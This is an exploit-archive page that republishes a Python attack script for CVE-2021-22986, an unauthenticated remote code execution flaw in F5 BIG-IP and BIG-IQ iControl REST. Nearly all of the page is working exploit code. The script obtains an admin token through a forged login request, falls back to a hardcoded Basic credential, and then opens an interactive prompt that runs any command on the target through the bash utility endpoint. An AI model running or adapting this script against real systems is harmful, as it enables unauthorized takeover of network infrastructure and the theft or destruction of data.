F5 BIG-IP 16.0.x Remote Code Execution

2021-04-02T00:00:00
ID PACKETSTORM:162066
Type packetstorm
Reporter Al1ex
Modified 2021-04-02T00:00:00

Description

                                        
                                            `# Exploit Title: F5 BIG-IP 16.0.x - iControl REST Remote Code Execution (Unauthenticated)  
# Exploit Author: Al1ex  
# Vendor Homepage: https://www.f5.com/products/big-ip-services  
# Version: 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2  
# CVE : CVE-2021-22986  
  
import requests  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
import sys  
  
  
def title():  
print('''  
______ ____ ____ _______ ___ ___ ___ __ ___ ___ ___ ___ __   
/ |\ \ / / | ____| |__ \ / _ \ |__ \ /_ | |__ \ |__ \ / _ \ / _ \ / /   
| ,----' \ \/ / | |__ ______ ) | | | | | ) | | | ______ ) | ) | | (_) | | (_) | / /_   
| | \ / | __| |______/ / | | | | / / | | |______/ / / / \__, | > _ < | '_ \   
| `----. \ / | |____ / /_ | |_| | / /_ | | / /_ / /_ / / | (_) | | (_) |   
\______| \__/ |_______| |____| \___/ |____| |_| |____| |____| /_/ \___/ \___/   
  
Author:Al1ex@Heptagram  
Github:https://github.com/Al1ex  
''')   
  
def exploit(url):  
target_url = url + '/mgmt/shared/authn/login'  
data = {  
"bigipAuthCookie":"",  
"username":"admin",  
"loginReference":{"link":"/shared/gossip"},  
"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}  
}  
headers = {  
"User-Agent": "hello-world",  
"Content-Type":"application/x-www-form-urlencoded"  
}  
response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)  
if "/mgmt/shared/authz/tokens/" not in response.text:  
print('(-) Get token fail !!!')  
print('(*) Tested Method 2:')   
header_2 = {  
'User-Agent': 'hello-world',  
'Content-Type': 'application/json',  
'X-F5-Auth-Token': '',  
'Authorization': 'Basic YWRtaW46QVNhc1M='  
}  
data_2 = {  
"command": "run",   
"utilCmdArgs": "-c whoami"  
}  
check_url = url + '/mgmt/tm/util/bash'  
try:  
response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)  
if response2.status_code == 200 and 'commandResult' in response2.text:  
while True:  
cmd = input("(:CMD)> ")  
data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}  
r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)  
if r.status_code == 200 and 'commandResult' in r.text:  
print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))  
else:  
print('(-) Not vuln...')  
exit(0)  
except Exception:  
print('ERROR Connect')  
print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))  
while True:  
cmd = input("(:CMD)> ")  
headers = {  
"Content-Type": "application/json",  
"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])  
}  
data_json = {  
"command": "run",   
"utilCmdArgs": "-c \'%s\'"%(cmd)  
}  
exp_url= url + '/mgmt/tm/util/bash'  
exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)  
if exp_req.status_code == 200 and 'commandResult' in exp_req.text:  
print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))  
else:  
print('(-) Not vuln...')  
exit(0)  
  
if __name__ == '__main__':  
title()  
if(len(sys.argv) < 2):  
print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))  
exit(0)  
else:  
exploit(sys.argv[1])  
  
`